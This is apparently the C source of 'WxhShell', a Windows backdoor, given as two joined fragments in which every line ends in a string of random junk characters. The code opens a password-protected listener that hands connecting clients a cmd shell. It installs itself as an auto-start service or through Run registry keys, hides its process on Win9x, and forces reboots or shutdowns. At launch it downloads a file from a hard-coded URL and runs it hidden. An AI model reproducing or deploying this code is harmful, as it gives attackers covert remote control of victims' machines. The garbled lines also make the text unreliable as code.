    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1\>^m  
    if(Boot(SHUTDOWN)) (l- ab2'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |O9 O )o  
    else { b@f$nS B  
    closesocket(wsh); ?Yk.$90  
    ExitThread(0); h+&OQ%e=8  
    } ~%=MpQ3  
    break; &*G #H~\  
    } X_|J@5b7  
  // 获取shell zhRB,1iG  
  case 's': { %<*g!y `  
    CmdShell(wsh); Sf7\;^  
    closesocket(wsh); cm[&?  
    ExitThread(0); 2Yn <2U/^R  
    break; NzOo0tz:  
  } <_tT<5'[$u  
  // 退出 C:C}5<fk x  
  case 'x': { cK i m-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U4-g^S[  
    CloseIt(wsh); ~ZEmULKkR  
    break; dA0.v+Foz"  
    } J )~L   
  // 离开 | >htvDL  
  case 'q': { 4V COKx  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5b[jRj6  
    closesocket(wsh); $[&*Bj11Yg  
    WSACleanup(); yXF?H"h(  
    exit(1); .#Z%1U%P.  
    break; Uo>] sNP~  
        }  @zz1hU  
  } g,95T Bc  
  } WKIoS"?-F  
6&l+0dq  
  // 提示信息 O0No'LVu  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }mdAM6  
} !l 1fIc  
  } .wu xoq  
\":m!K;Z  
  return; ?yR&/a  
} "WK{ >T  
[4C:r!  
// shell模块句柄 I*kK 82  
int CmdShell(SOCKET sock) Z->p1xkX  
{ 7`8Ik`lY  
STARTUPINFO si; ,JN8f]a^"g  
ZeroMemory(&si,sizeof(si)); 9Z'8!$LYg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uVDa^+=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y+6o{`0  
PROCESS_INFORMATION ProcessInfo; D] ~MC  
char cmdline[]="cmd"; WjwLM2<nK7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .Pw\~X3!  
  return 0; '-b*EZU8t  
} 3?Pn6J{O  
q]N:Tpm9  
// 自身启动模式 sZm$|T0  
int StartFromService(void) xz{IH,?IG  
{ hQHnwr  
typedef struct J8)#PY[i4  
{ *9c!^ $V  
  DWORD ExitStatus; ]U7KLUY>:  
  DWORD PebBaseAddress; y K2^Y]Ku?  
  DWORD AffinityMask; Gkv{~?95  
  DWORD BasePriority; i'wAE:Xe  
  ULONG UniqueProcessId; Ox'/` Mppw  
  ULONG InheritedFromUniqueProcessId; %ck]S!}6  
}   PROCESS_BASIC_INFORMATION; z7Eg5rm|QZ  
ADk8{L{UU  
PROCNTQSIP NtQueryInformationProcess; (%o2jroQ#  
A7`1-#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zyg  }F  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (N=5 .7"T  
0,Y5KE{  
  HANDLE             hProcess; P#/HTu5q7  
  PROCESS_BASIC_INFORMATION pbi; -,{-bi  
4bEf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =)` p_W  
  if(NULL == hInst ) return 0; p6XtTx  
A4?+T+#d  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U}l14  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?EK?b s  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U(;&(W"M  
"y<?Q}1  
  if (!NtQueryInformationProcess) return 0; =.`qixN  
4r0b)Y &I  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p/ >`[I  
  if(!hProcess) return 0; [e4]"v`N  
.*JA!B  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; uH;-z_Wpn!  
d'Axum@  
  CloseHandle(hProcess); wgRs Z  
r]Ff{la5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?kz+R'  
if(hProcess==NULL) return 0; ii0Ce}8d~  
[ dE.[  
HMODULE hMod; *79m^  
char procName[255]; R1W}dRE}  
unsigned long cbNeeded; zPKr/  
b2b75}_A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nPgeLG"00  
NCf"tK'5n  
  CloseHandle(hProcess); gxGrspqg  
hwDbs[:  
if(strstr(procName,"services")) return 1; // 以服务启动 ?<yM7O,4  
@v*/R%rv t  
  return 0; // 注册表启动 nD2, !71  
} 9r2IuS0  
z>[tF5  
// 主模块 'snYu!`z  
int StartWxhshell(LPSTR lpCmdLine) f0LP?]  
{ P~FUS%39"o  
  SOCKET wsl; ='E$-_  
BOOL val=TRUE; [;b=A  
  int port=0; l**;k+hw  
  struct sockaddr_in door; :` $@}GI  
Z2bcCIq4  
  if(wscfg.ws_autoins) Install(); ib0g3p-Lc  
Ut)r&?  
port=atoi(lpCmdLine); VIR.yh  
te4= S  
if(port<=0) port=wscfg.ws_port; 2n`Lg4=  
H_IGFZCh  
  WSADATA data; ]> Y/r-!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~ekh1^evu  
s2v(=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   })IO#,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); - n6jG}01b  
  door.sin_family = AF_INET; )DUL)S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); mi2o1"Jd$`  
  door.sin_port = htons(port); ?&l)W~S  
!)Rr] ~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ELh3 ^  
closesocket(wsl); p11G#.0  
return 1; i`O rMzL  
} K.SeK3(  
tO.$+4a  
  if(listen(wsl,2) == INVALID_SOCKET) { Ca$c;  
closesocket(wsl); *N/hc  
return 1; ]5v:5:H  
} J%dJw}  
  Wxhshell(wsl); H"+c)FGi  
  WSACleanup(); |&hU=J o  
=`I?mn&  
return 0; b5e@oIK  
z4} %TT@^  
} nb@"?<L!  
qvLDfN  
// 以NT服务方式启动 |j_`z@7(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a`Z{ xme =  
{ U 0ZB^`  
DWORD   status = 0; F1A1@{8bN  
  DWORD   specificError = 0xfffffff; wTpD1"_R  
S>ugRasZ$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *PM}"s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Gz dgL"M[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \OHv|8!EI@  
  serviceStatus.dwWin32ExitCode     = 0; ,sb1"^Wc  
  serviceStatus.dwServiceSpecificExitCode = 0; FpkXOj?*  
  serviceStatus.dwCheckPoint       = 0; {~GR8 U  
  serviceStatus.dwWaitHint       = 0; R^Bk]  
If}lJ6jZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p~bkf>  
  if (hServiceStatusHandle==0) return; vO$ra5Z  
=FBIrw{w  
status = GetLastError(); s[-]cHQ  
  if (status!=NO_ERROR) sA_X<>vAKJ  
{ :k1$g+(lP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,z66bnjO  
    serviceStatus.dwCheckPoint       = 0; dB`b9)Tk0z  
    serviceStatus.dwWaitHint       = 0; yzc pG6 ,  
    serviceStatus.dwWin32ExitCode     = status; HP$K.a7H  
    serviceStatus.dwServiceSpecificExitCode = specificError; >}F?<JB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /`R dQ<($  
    return; ?0npEz|  
  } Gj`f--2GE  
~N[|bPRmhE  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; nO@+s F  
  serviceStatus.dwCheckPoint       = 0; +(AwSh!  
  serviceStatus.dwWaitHint       = 0; ;Prg'R[o;  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1b `G2?%  
} y#r\b6  
.cw=*<zeg  
// 处理NT服务事件,比如:启动、停止 \G=bj;&eF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :bw6k  
{ GI4oQcJ  
switch(fdwControl) dP3VJ3+ %  
{ U]j&cFbn5_  
case SERVICE_CONTROL_STOP: td/5Bmj  
  serviceStatus.dwWin32ExitCode = 0; QX/]gX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B'/Icg.T  
  serviceStatus.dwCheckPoint   = 0; Fc{((x s  
  serviceStatus.dwWaitHint     = 0; Heohe|an  
  { feg`(R2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7 NUenCdc  
  } eU"mG3 __  
  return; $Q,n+ /  
case SERVICE_CONTROL_PAUSE: Znq(R8BMW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; V*kznm  
  break; _6J<YQK  
case SERVICE_CONTROL_CONTINUE: &}|0CR.(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; PoY>5  
  break; ,{TQ ~LP  
case SERVICE_CONTROL_INTERROGATE: m^c%]5$  
  break; Xi*SDy  
}; A<;0L . J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eAU"fu6d  
} _AAx )  
>T(M0Tkt  
// 标准应用程序主函数 ],$6&Cm  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6e&g$ R v  
{ }RH lYN  
i~ROQMN1  
// 获取操作系统版本 qY# m*R  
OsIsNt=GetOsVer(); \4C)~T:*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {Wr\D Vp  
i$g|?g~]  
  // 从命令行安装 8QPT\~  
  if(strpbrk(lpCmdLine,"iI")) Install(); i~(#S8U4d  
wiKCr/  
  // 下载执行文件 ^]KIgGv\  
if(wscfg.ws_downexe) { }[ 7Nb90v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a{5H33JA  
  WinExec(wscfg.ws_filenam,SW_HIDE); THb A(SM  
} x ru(Le}E  
M3)v-"  
if(!OsIsNt) { 5wy;8a  
// 如果时win9x,隐藏进程并且设置为注册表启动 !Q[;5Lqt  
HideProc(); K@y-)I2]  
StartWxhshell(lpCmdLine); nz}]C04:-  
} (tgEa{rPAP  
else 9Zs #Ky/  
  if(StartFromService()) I4A ;  
  // 以服务方式启动 _QD/!~O  
  StartServiceCtrlDispatcher(DispatchTable); |>M-+@g j  
else qT 5Wa O)  
  // 普通方式启动 :17ee  
  StartWxhshell(lpCmdLine); 7 _X&5ni  
3AX?B~s  
return 0; @2QJm  
} m>g}IX&K'  
W^-hMT]uD  
&;'w8_K"^  
j*zB { s K  
=========================================== Iwnj'R7:  
hnH)Jy;>  
rGQ86L<  
h[vAU 9f)  
1uKD&k%q  
>\N$>"~a  
" Ir'DA_..  
nhB^Xr=  
#include <stdio.h> M'pY-/.  
#include <string.h> (, ;MC/l  
#include <windows.h> O~7p^i}  
#include <winsock2.h> \ x>NB  
#include <winsvc.h> bEOOFs  
#include <urlmon.h> Yb,G^+;  
PX+"" #  
#pragma comment (lib, "Ws2_32.lib") Y- z~#;  
#pragma comment (lib, "urlmon.lib") VQZT.^  
+_vm\]4  
#define MAX_USER   100 // 最大客户端连接数 h8Dtq5t4  
#define BUF_SOCK   200 // sock buffer ]~4}(\u  
#define KEY_BUFF   255 // 输入 buffer rd f85%%7  
 |V*e2w  
#define REBOOT     0   // 重启 *,Aa9wa{  
#define SHUTDOWN   1   // 关机 *X"F:7  
'Q^G6'(SaK  
#define DEF_PORT   5000 // 监听端口 gwkZk-f\p  
2/a04qA#  
#define REG_LEN     16   // 注册表键长度 ]G$!/vXP  
#define SVC_LEN     80   // NT服务名长度 5VY%o8xXa  
F ~11 _  
// 从dll定义API RMs1{64:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r;5 AY  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @Reh?]# v  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }VJ hw*s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H f`&&  
A=l?IC@O  
// wxhshell配置信息 Cys/1DkE  
struct WSCFG { ) 2*|WHO  
  int ws_port;         // 监听端口  t}* qs  
  char ws_passstr[REG_LEN]; // 口令 >u%[J!Y;;  
  int ws_autoins;       // 安装标记, 1=yes 0=no :W1tIB  
  char ws_regname[REG_LEN]; // 注册表键名 Qcy+ {j]  
  char ws_svcname[REG_LEN]; // 服务名 iI/'! 85  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'ra_Zg[j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 s^x , S  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 LqH?3):  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (kD?},Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0v,`P4_k  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NJz*N%VWD  
V0wC@?  
}; itvy[b-*  
4<!}4   
// default Wxhshell configuration o::ymAj  
struct WSCFG wscfg={DEF_PORT, c_j )8  
    "xuhuanlingzhe", wNlV_  
    1, |Z +E(F  
    "Wxhshell", }j5@\c48  
    "Wxhshell", EJiF_  
            "WxhShell Service", ^SelqX  
    "Wrsky Windows CmdShell Service", . LVOaxT  
    "Please Input Your Password: ", *1 eTf  
  1, _jI)!rfb  
  "http://www.wrsky.com/wxhshell.exe", P#'DGW&W0  
  "Wxhshell.exe" x[,wJzp\6  
    }; 6T aT_29  
Zm'::+ tl  
// 消息定义模块 MLDg).5  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; BsG[#4KM:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =u1w\>(2Y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5v03<m0`y  
char *msg_ws_ext="\n\rExit."; ^i,0n}>  
char *msg_ws_end="\n\rQuit."; )^a#Xn3z  
char *msg_ws_boot="\n\rReboot..."; ROiX =i  
char *msg_ws_poff="\n\rShutdown..."; |"(3]f\  
char *msg_ws_down="\n\rSave to "; Yka yT0!  
pHbguoH,  
char *msg_ws_err="\n\rErr!"; T<~[vjA  
char *msg_ws_ok="\n\rOK!"; oXOO 10  
/3HWP`<x  
char ExeFile[MAX_PATH]; (~yJce  
int nUser = 0; 1$!K2=%OXj  
HANDLE handles[MAX_USER]; MnsWB[  
int OsIsNt; pt;Sk?-1  
|gxB; GG  
SERVICE_STATUS       serviceStatus; U@ QU8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; SNV+.xN  
%3B>1h9N  
// 函数声明 n`2"(7Wj  
int Install(void); tqk6m# @(  
int Uninstall(void); 5nw9zW :'  
int DownloadFile(char *sURL, SOCKET wsh); a5+v)F/=  
int Boot(int flag); K>~cY%3^i  
void HideProc(void); L&k$4,Z9  
int GetOsVer(void); 2\W<EWJ@  
int Wxhshell(SOCKET wsl); -m-WUox4"  
void TalkWithClient(void *cs); ZQ8Aak  
int CmdShell(SOCKET sock); |?b"my$g$  
int StartFromService(void); #j5^/*XW  
int StartWxhshell(LPSTR lpCmdLine); \O4=mJ  
K%@SS8!oy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D#AxgF_He  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v~=ol8J B  
g5'bUYsa  
// 数据结构和表定义 YLd%"H $n  
SERVICE_TABLE_ENTRY DispatchTable[] = ?Qp_4<(5  
{ 25KZe s)  
{wscfg.ws_svcname, NTServiceMain}, 7oSuLo=  
{NULL, NULL} / 1GZN *I  
}; QVhBHAw  
aM1JG$+7G  
// 自我安装 spDRQ_qq  
int Install(void) u _^=]K;  
{ |"*:ZSj  
  char svExeFile[MAX_PATH]; : \`MrI^  
  HKEY key; Nd)o1 {I  
  strcpy(svExeFile,ExeFile); 'hWRwP|  
=ZL2 0<TeH  
// 如果是win9x系统,修改注册表设为自启动 mw%_ yDZ{  
if(!OsIsNt) { sZ$ ~abX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eT?LMBn\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6g&nnA  
  RegCloseKey(key); hY'%SV p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .U {JI\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W%:zvqg v  
  RegCloseKey(key); 'D{abm0  
  return 0; (J#3+I  
    } XcneH jpR  
  } ] lTfi0}g_  
} $cCB%}  
else { .;s4T?j@w  
CAO{$<M5m  
// 如果是NT以上系统,安装为系统服务 ;I' ["k%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rKq]zHgpo  
if (schSCManager!=0) dy'?@Lj;  
{ ["9$HL  
  SC_HANDLE schService = CreateService 3~'F^=T.Y  
  ( !ZdUW]  
  schSCManager, $r_gFv  
  wscfg.ws_svcname, #a:C=GV;4  
  wscfg.ws_svcdisp, vA`.8U 0S  
  SERVICE_ALL_ACCESS, qa6up|xUnn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :gC2zv  
  SERVICE_AUTO_START, 9IV WbJ  
  SERVICE_ERROR_NORMAL, *WG}K?"/  
  svExeFile, p IToy;]  
  NULL, `}l%Am  
  NULL, cx) EFy.  
  NULL, 6iC:l%|u  
  NULL, Yn/-m Z  
  NULL \8ZNXCP  
  ); d8I/7 ;F X  
  if (schService!=0) :W"ITY(  
  { o6oYJ`PY  
  CloseServiceHandle(schService); JZ [&:  
  CloseServiceHandle(schSCManager); tK*f8X+q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C'#:}]@E  
  strcat(svExeFile,wscfg.ws_svcname); FqfeH_-U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +Gko[<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *k -UQLJ  
  RegCloseKey(key); !RI&FcK  
  return 0; 5o*x?P!$  
    } v.MWO]L  
  } V'B 6C#jT  
  CloseServiceHandle(schSCManager); ;N|6C+y  
} 9viC3bj.o  
} 9^n ]qg^  
jiat5  
return 1; -oj@ c OZ  
} ?a% u=G  
Y]PZ| G)  
// 自我卸载 })Jp5vv  
int Uninstall(void) %Vq@WF  
{ ofJ@\xS  
  HKEY key; w[iQndu  
8Vx'sJ>r4  
if(!OsIsNt) { j,Y=GjfGM  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yI!K quMC  
  RegDeleteValue(key,wscfg.ws_regname); uv$y"1'g  
  RegCloseKey(key); 4s~o   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;rX4${h  
  RegDeleteValue(key,wscfg.ws_regname); PF~&!~S>W  
  RegCloseKey(key); <M=K!k  
  return 0; OP@PB|  
  } |<E%hf  
} F n\)*; ^  
} .._wTOSq  
else { Lt)t}0  
^J327  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d%<Uh(+:  
if (schSCManager!=0) jGt[[s  
{ i<l)To-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ,,?t>|3  
  if (schService!=0) )vw3Y88  
  { d(tq;2-  
  if(DeleteService(schService)!=0) { (g 8K?Q  
  CloseServiceHandle(schService); "|hmiMdGB  
  CloseServiceHandle(schSCManager); tw;`H( UZ^  
  return 0; W6Hiqu+  
  } 2a{eJ89f  
  CloseServiceHandle(schService); +m"iJW0  
  } %FwLFo^v  
  CloseServiceHandle(schSCManager); t{$t3>p-t  
} j0Q ;OKu  
} I)6)~[:'  
sGV%O=9?2  
return 1; e|`&K"fnq  
} 46*?hA7@r(  
VBOq~>V6(v  
// 从指定url下载文件 zITXEorF!J  
int DownloadFile(char *sURL, SOCKET wsh) h5F1mr1Sa  
{ fPst<)  
  HRESULT hr; es.`:^A  
char seps[]= "/"; /0zk&g  
char *token; En1pz\'  
char *file; xD1w#FMlQs  
char myURL[MAX_PATH]; x;ujR<  
char myFILE[MAX_PATH]; sC/T)q2  
\i{=%[c  
strcpy(myURL,sURL); BONM:(1  
  token=strtok(myURL,seps); REw!@Y."  
  while(token!=NULL) .Emw;+>  
  { ) ~X\W\  
    file=token; gCd9"n-e  
  token=strtok(NULL,seps); Jyvc(~x  
  } KVJiCdg-  
HdVGkv/  
GetCurrentDirectory(MAX_PATH,myFILE); Fe: 0nr9;  
strcat(myFILE, "\\"); ns@b0'IF]  
strcat(myFILE, file); 0?k/vV4  
  send(wsh,myFILE,strlen(myFILE),0); ]U]{5AA6  
send(wsh,"...",3,0); g!4"3Dtdg  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); o: TO[  
  if(hr==S_OK) %A?Ym33  
return 0; %T!UEl`v  
else 7|\[ipVX:3  
return 1; Yk[yG;W  
Ip|7JL0Z  
} 6X)8vQH  
)t0t*xu#  
// 系统电源模块 tFXG4+$D  
int Boot(int flag) 87y$=eZ  
{ TR| G4l?  
  HANDLE hToken; 3. fIp5g  
  TOKEN_PRIVILEGES tkp; W +C\/  
}wz )"  
  if(OsIsNt) { Bm1yBKjO  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I 91`~0L*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); g;Bq#/w  
    tkp.PrivilegeCount = 1; ,:j^EDCsaJ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DtR-NzjB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -fn["R]  
if(flag==REBOOT) { IYb@@Jzo  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |v:8^C7  
  return 0; Ggsfr;m\`  
} &$|k<{j[<f  
else { s9zdg"c'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P8piXG  
  return 0; BB>3Kj:|  
} "EDn;l-Q  
  } Q];+?Pu.  
  else { OANn!nZ.  
if(flag==REBOOT) { R@u6mMX{N,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;VNwx(1l`  
  return 0; +UB+. 5P  
} +3!um  
else { A7 E*w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4L(axjMYU  
  return 0; Ay22-/C|@  
} \&n]W\  
} z{7&=$  
zsc8Lw  
return 1; <{JHFU`^  
} VrrCW/ o  
.YKQ6  
// win9x进程隐藏模块 Jr==AfxyT  
void HideProc(void) [}N?'foLb  
{ Ul)2A  
[j`It4^nC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O sbY}*S  
  if ( hKernel != NULL ) {|O8)bW'  
  { 0bVtku K;G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @q}.BcSg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mpIRe@#Z  
    FreeLibrary(hKernel); ;lB%N t<,  
  } ?sfA/9"  
C7[_#1Oz  
return; tK`sVsm>  
} cAogz/<S  
)0 .gW  
// 获取操作系统版本 c5+oP j  
int GetOsVer(void) {+0]diD  
{ hHm &u^xY  
  OSVERSIONINFO winfo; #KF:(2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); T2AyQ~5~  
  GetVersionEx(&winfo); Nq/,41  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) be|k"s|6)  
  return 1; ]8NNxaE3(  
  else ka0T|$ u(s  
  return 0; MMqkNe  
} Ou"QUn|  
/J aH  
// 客户端句柄模块 d+[yW7%J  
int Wxhshell(SOCKET wsl) +y!dU{L^  
{ m"t\@f  
  SOCKET wsh; >0k7#q}O  
  struct sockaddr_in client; Ok/~E  
  DWORD myID; N)K};yMf  
S$HzuK\f  
  while(nUser<MAX_USER) E{[c8l2B  
{ /J]Yj,  
  int nSize=sizeof(client); (C={/waJ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0(VH8@h`O  
  if(wsh==INVALID_SOCKET) return 1; hZ Gr/5f  
#O6SEK|Z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); j0B, \A  
if(handles[nUser]==0) .+t{o [  
  closesocket(wsh); Oh9wBV  
else tSV}BM,  
  nUser++; $qYtN`b,  
  } Tw/kD)u{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $v#Q'?jE  
{9vvj  
  return 0; <"{Lv)4  
} *[*LtyCQt4  
>d!w&0z>  
// 关闭 socket _v{,vLH  
void CloseIt(SOCKET wsh) 4- ^|e  
{ ~ nNsq(4  
closesocket(wsh); A8&yB;T$y  
nUser--; s\_-` [B0  
ExitThread(0); g e)g?IP4  
} g6o-/A!Q3  
lBqu}88q0  
// 客户端请求句柄 7Oe |:Z  
void TalkWithClient(void *cs) qUA&XUJ  
{ x.qn$?3V]  
xRpL\4cs  
  SOCKET wsh=(SOCKET)cs; EgM.wQHR]  
  char pwd[SVC_LEN]; $'btfo4H  
  char cmd[KEY_BUFF]; X&nkc/erx  
char chr[1]; 5<w"iqZ\?N  
int i,j; 6[,*2a8  
';us;xR#  
  while (nUser < MAX_USER) { y K)7%j!  
(2(I|O#  
if(wscfg.ws_passstr) { zk=5uKcPE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]^$&Ejpe#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !31v@v:)  
  //ZeroMemory(pwd,KEY_BUFF); ke_Dd?  
      i=0;  Q<B=m6~  
  while(i<SVC_LEN) { G 5w:  
}C!N$8d,  
  // 设置超时 9Xo'U;J  
  fd_set FdRead; YdX#`  
  struct timeval TimeOut; x!fvSoHp  
  FD_ZERO(&FdRead); J7W]Str  
  FD_SET(wsh,&FdRead); vS%o>"P  
  TimeOut.tv_sec=8; T V\21  
  TimeOut.tv_usec=0; YbB8D-  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); fQRGz\r*k  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); = zW}vm }  
gfG Mu0FjB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); m-S4"!bl  
  pwd=chr[0]; g0GC g  
  if(chr[0]==0xd || chr[0]==0xa) { hE0 p> R8  
  pwd=0; W(a31d  
  break; ax0RtqtR&  
  } pt<!b0G  
  i++; PCDsj_e  
    } RhIRCN9  
*t.L` G  
  // 如果是非法用户,关闭 socket T<Y^V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W- 5Z"m1I  
} ;4p_lw@  
p9rnhqH6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ce-5XqzY@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p&~8N#I#  
{eA0I\c(C  
while(1) { Lb;:<  
3tY \0y9  
  ZeroMemory(cmd,KEY_BUFF); (4=NKtA^G  
Y5 e6|b|  
      // 自动支持客户端 telnet标准   Z~)Bh~^A  
  j=0; ^[6eo8Ck>  
  while(j<KEY_BUFF) { - `F#MN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ':YFm  
  cmd[j]=chr[0]; %_C!3kKv~  
  if(chr[0]==0xa || chr[0]==0xd) { ={P  
  cmd[j]=0; ``KimeA~  
  break; 7qj<|US  
  } 7\I,;swo  
  j++; `%_yRJd|;  
    } H:byCFN-  
E wDFUK  
  // 下载文件 A (z lX_  
  if(strstr(cmd,"http://")) { j"o8]UT/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); OXc!^2 ^  
  if(DownloadFile(cmd,wsh)) sbn|D\p  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [~e{58}J|  
  else 6\"g,f  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OSACH0h  
  } 40,u(4.m*  
  else { &,E^ y,r  
/J{ e _a  
    switch(cmd[0]) { ('k;Ikut  
